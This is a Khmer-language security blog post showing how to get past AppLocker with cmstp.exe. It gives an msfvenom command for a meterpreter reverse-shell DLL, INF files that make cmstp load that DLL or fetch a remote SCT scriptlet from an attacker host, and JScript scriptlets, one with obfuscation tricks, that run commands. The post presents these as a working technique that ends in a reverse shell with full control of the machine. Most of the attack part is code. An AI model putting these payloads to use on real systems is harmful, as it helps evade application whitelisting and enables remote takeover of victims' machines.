This page looks best with JavaScript enabled

AppLocker Bypass - CMSTP

 ·  β˜• 2 min read  ·  🐱 thik

αž―αž€αžŸαžΆαžš CMSTP αžαŸ’αžšαžΌαžœαž”αžΆαž“αžšαž€αŸ’αžŸαžΆαž‘αž»αž€αž“αŸ…αž€αŸ’αž“αž»αž„αžαžαž―αž€αžŸαžΆαžšαž“αŸƒαžœαžΈαž“αžŠαžΌαŸ–

1
2
C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe

αžœαžΈαž’αžΈαžŸαžΆαžŸαŸ’αžαŸ’αžšαž˜αž½αž™αž“αŸαŸ‡αžαŸ’αžšαžΌαžœαž”αžΆαž“αžšαž€αžƒαžΎαž‰αžŠαŸ„αž™αž›αŸ„αž€ Oddvar Moe αž’αžΆαž…αž’αžΆαž“αž›αŸ†αž’αž·αžαž“αŸ…αž€αŸ’αž“αž»αž„ Blog αžšαž”αžŸαŸ‹αž‚αžΆαžαŸ‹αŸ”

DLL

Metasploit αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžŠαžΎαž˜αŸ’αž”αžΈαž”αž„αŸ’αž€αžΎαžαž―αž€αžŸαžΆαžšαž˜αŸαžšαŸ„αž‚ DLL αžαžΆαž˜αžšαž™αŸˆ MSFvenom αŸ”

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.200.55 LPORT=4444 -f dll > idm.dll

Metasploit - Malicious Dll Generation

αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž•αŸ’αž“αŸ‚αž€ RegisterOCXSection αžαž˜αŸ’αžšαžΌαžœαž²αŸ’αž™αžŠαžΆαž€αŸ‹αž‘αžΈαžαžΆαŸ†αž„αžšαž”αžŸαŸ‹αž―αž€αžŸαžΆαžš DLL αžŠαŸ‚αž›β€‹αž”αžΆαž“β€‹αž”αž„αŸ’αž€αžΎαžβ€‹αžšαž½αž…αŸ”

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[version]
Signature=$chicago$
AdvancedINF=2.5
 
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
 
[RegisterOCXSection]
C:\Users\Victim\idm.dll
 
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="idm"
ShortSvcName="idm"

αžšαž€αŸ’αžŸαžΆαž‘αž»αž€αž‡αžΆ “idm-service.inf”

αž”αžΎαž€αžŠαŸ†αžŽαžΎαžšαž€αžΆαžš Multi/handler αž“αŸ…αž›αžΎαž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸ αž“αž·αž„ αž€αŸ†αžŽαžαŸ‹αž‘αž‘αž½αž›αž€αžΆαžšαžαž—αŸ’αž‡αžΆαž”αŸ‹αŸ”

CMSTP – Metasploit Multi Handler

Payload αž“αžΉαž„αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž—αŸ’αž›αžΆαž˜αŸ—αž“αŸ…αž–αŸαž›αžŠαŸ‚αž›αž―αž€αžŸαžΆαžš INF αžαŸ’αžšαžΌαžœβ€‹αž”αžΆαž“β€‹αž”αžΎαž€β€‹αžŠαŸ„αž™β€‹αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž―αž€αžŸαžΆαžš CMSTP αŸ”

CMSTP – INF Execution Locally

αž”αž“αŸ’αž‘αžΆαž”αŸ‹αž˜αž€ Metasploit αž“αž·αž„αž‘αž‘αž½αž›αž”αžΆαž“ Reverse Shell αž€αŸ’αžšαŸ„αž™αž–αžΈαžŸαŸ’αž‚αŸ’αžšαžΈαž”αž”αžΆαž“αž”αžΎαž€αž―αž€αžŸαžΆαžš DLL αžšαž½αž…αŸ”

CMSTP – Meterpreter via DLL Execution

SCT

CMSTP αž€αŸαž’αžΆαž…αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž―αž€αžŸαžΆαžšαž”αŸ’αžšαž—αŸαž‘ SCT αžŠαžΎαž˜αŸ’αž”αžΈβ€‹αž‘αžΆαž‰αž™αž€β€‹αž–αžΆαž€αŸ’αž™β€‹αž”αž‰αŸ’αž‡αžΆβ€‹αž•αŸ’αžŸαŸαž„αŸ—β€‹αž–αžΈαž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸβ€‹αž˜αž€β€‹αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹β€‹αž•αž„β€‹αžŠαŸ‚αžšαŸ”

αž›αŸ„αž€ Nick Tyrere αž”αžΆαž“αž”αž„αŸ’αž αžΆαž‰αž›αŸ†αž’αž·αžαž“αŸ…αž€αŸ’αž“αž»αž„ Twitter αžšαž”αžŸαŸ‹αž‚αžΆαžαŸ‹αŸ”

αž›αŸ„αž€αž€αŸαž”αžΆαž“αž”αž„αŸ’αž€αžΎαžαžŸαŸ’αž‚αŸ’αžšαžΈαž”αž“αŸαŸ‡αžŠαŸ„αž™αžŠαžΆαž€αŸ‹αžˆαŸ’αž˜αŸ„αŸ‡αžαžΆ powersct.sct αžŠαŸ‚αž›β€‹β€‹αž”αŸ’αžšαžΎβ€‹αžŸαž˜αŸ’αžšαžΆαž”αŸ‹β€‹αž”αžΎαž€β€‹αžŠαŸ†αžŽαžΎαžšβ€‹αž€αžΆαžšβ€‹αž–αžΆαž€αŸ’αž™β€‹αž”αž‰αŸ’αž‡αžΆβ€‹αž‚αŸ’αžšαŸ„αŸ‡β€‹αžαŸ’αž“αžΆαž€αŸ‹β€‹αžŽαžΆαž˜αž½αž™β€‹αž…αŸαž‰β€‹αž–αžΈ PowerShell αŸ”

αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž•αŸ’αž“αŸ‚αž€ RegisterOCXSection αžαž˜αŸ’αžšαžΌαžœαž²αŸ’αž™αžŠαžΆαž€αŸ‹αž‘αžΈαžαžΆαŸ†αž„αžŠαŸ†αžŽαžšαž—αŸ’αž‡αžΆαž”αŸ‹αžšαž”αžŸαŸ‹αž―αž€αžŸαžΆαžš SCT αŸ”

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[version]
Signature=$chicago$
AdvancedINF=2.5
 
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
 
[RegisterOCXSection]
%11%\scrobj.dll,NI,http://192.168.200.55/pentestlab.sct
 
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="idm"
ShortSvcName="idm"
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
### powersct.sct

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="Pentest"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - @netbiosX -->
	<script language="JScript">
		<![CDATA[
	
			var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c:\ & pentestlab.exe");	
	
		]]>
</script>
</registration>
</scriptlet>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
### SCT File Obfuscation Examples:

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!--  License: BSD3-Clause -->
	<script language="JScript">
	<![CDATA[
		//x86 only. C:\Windows\Syswow64\regsvr32.exe /s /u /i:file.sct scrobj.dll
		
		var scr = new ActiveXObject("MSScriptControl.ScriptControl");
		scr.Language = "JScript";
		scr.ExecuteStatement('var r = new ActiveXObject("WScript.Shell").Run("calc.exe");');
		scr.Eval('var r = new ActiveXObject("WScript.Shell").Run("calc.exe");');
		
		//https://msdn.microsoft.com/en-us/library/aa227637(v=vs.60).aspx
		//Lots of hints here on futher obfuscation
		]]></script>
</registration>
</scriptlet>

αž“αŸ…αž–αŸαž›αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαžŸαŸ’αž€αŸ’αžšαžΈαž”αž“αŸƒαž―αž€αžŸαžΆαžš INF αžœαžΆαž“αžΉαž„αž›αŸ„αžβ€‹αž•αŸ’αž‘αžΆαŸ†αž„β€‹αžœαžΈαž“β€‹αžŠαžΌαž˜αž½αž™β€‹αž…αŸαž‰β€‹αž˜αž€β€‹αžŠαžΎαž˜αŸ’αž”αžΈβ€‹αžŠαŸ†αžŽαžΎαžšβ€‹αž€αžΆαžšβ€‹αž–αžΆαž€αŸ’αž™β€‹αž”αž‰αŸ’αž‡αžΆ PowerShell αŸ”

CMSTP – SCT Execution Locally

αž€αŸ’αžšαŸ„αž™αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαžŸαŸ’αž€αŸ’αžšαžΈαž”αžšαž½αž… αž―αž€αžŸαžΆαžšαž˜αŸαžšαŸ„αž‚αž“αžΉαž„αž’αŸ’αžœαžΎαž€αžΆαžšαž‘αžΆαž‰αž™αž€αž–αžΈαž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸαž αžΎαž™αž’αŸ’αžœαžΎαž”αŸ’αžšαžαž·αž”αžαŸ’αžαž·αž—αŸ’αž›αžΆαž˜αŸ—αžαŸ‚αž˜αŸ’αžŠαž„αŸ”

αž–αŸαž›αž“αŸ„αŸ‡ Metasploit αž“αž·αž„αž‘αž‘αž½αž›αž”αžΆαž“ Reverse Shell αž αžΎαž™αž‚αŸ’αžšαž”αŸ‹β€‹αž‚αŸ’αžšαž„β€‹αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“β€‹αž‘αžΆαŸ†αž„β€‹αž˜αžΌαž›αŸ•

CMSTP – Meterpreter via SCT Execution

αž―αž€αžŸαžΆαžšαž™αŸ„αž„:

Share on

Thik
WRITTEN BY
thik
Security Researcher